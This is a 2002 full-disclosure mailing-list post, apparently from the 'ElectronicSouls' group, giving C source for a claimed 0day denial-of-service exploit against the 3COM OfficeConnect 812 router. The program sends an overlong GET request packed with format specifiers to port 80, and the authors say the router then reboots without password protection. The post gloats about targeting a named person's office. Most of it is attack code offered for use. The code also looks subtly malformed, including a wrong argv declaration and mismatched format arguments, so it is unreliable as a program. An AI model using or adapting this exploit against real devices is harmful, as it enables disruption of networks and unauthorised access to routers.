full-disclosure - [ElectronicSouls] - 3COM OfficeConnect 812 DoS

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From: es at hush.com (es@...h.com)
Subject: [ElectronicSouls] - 3COM OfficeConnect 812 DoS

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Dear List,

Here's a little 0day we wrote to DoS the 3COM OfficeConnect, which is
what BuRn-X uses at his office.  After successful exploitation, the
router will reboot, with no password protection. <EG>.

# cat ES3comFsck.c
/*********************************************************\
 *  !! ELECTRONIC-SOULS CREW ONLY !!                     *
 *  !!    - DO NOT DISTRIBUTE     !!                     *
 * 3COM OfficeConnect 812 DoS
 * ..but hey this isnt just a dumb DoS, the router will restart
 * and be up without any password protection in like 2 mins ;)
 * (C) BrainStorm [ElectronicSouls]
 *
\*********************************************************/


#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define BOLD "\033[00;01m"
#define RED "\033[01;31m"
#define NORM "\033[00;00m"
#define GREEN "\033[01;32m"

int main(int argc, char **argv[])
{
  struct sockaddr_in sin;
  struct hostent *host;
  char buf[8192];
  int sock, rt, len;

  if (argc != 2)
  {
  printf(BOLD"[!] Usage: %s <host>\n"NORM,argv[0]);
  }
  host = gethostbyname((void *)argv[1]);
  sock = socket(AF_INET, SOCK_STREAM, 0);

  bzero(&(sin.sin_zero), 8);

  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = htonl(INADDR_ANY);
  sin.sin_addr.s_addr = ((struct in_addr *)(host->h_addr))->s_addr;
  sin.sin_port = htons(80);

  rt = connect(sock, (void *)&sin, sizeof(sin));
  if (rt == -1) {
    perror(RED"[*] Connecting.."NORM);
    exit(1);
  }

  printf(GREEN"[!] Connected to %s\n"NORM, argv[1]);

  memset(&buf, 0, sizeof(buf));
  sprintf(buf, "GET /graphics/sml3com%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%%s%s%s%s%s%s%s%s%s
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s HTTP/1.0\n\n", argv[1]);
  printf(GREEN"[] Sending overflow string..\n"NORM, argv[1]);
  send(sock, buf, sizeof(buf), 0);

  while (1) {
    memset(&buf, 0, sizeof(buf));
    len = sizeof(buf);
    rt = read(sock, &buf, len);
    if (rt <= 0) exit(0);
    printf(GREEN"%s\n"NORM, buf);

  }
 printf(NORM"\n");
}

#

Enjoy!

The Electronic Souls Team
[ElectronicSouls] (c) 2002

"<dvorak> probably is the real ES archive"

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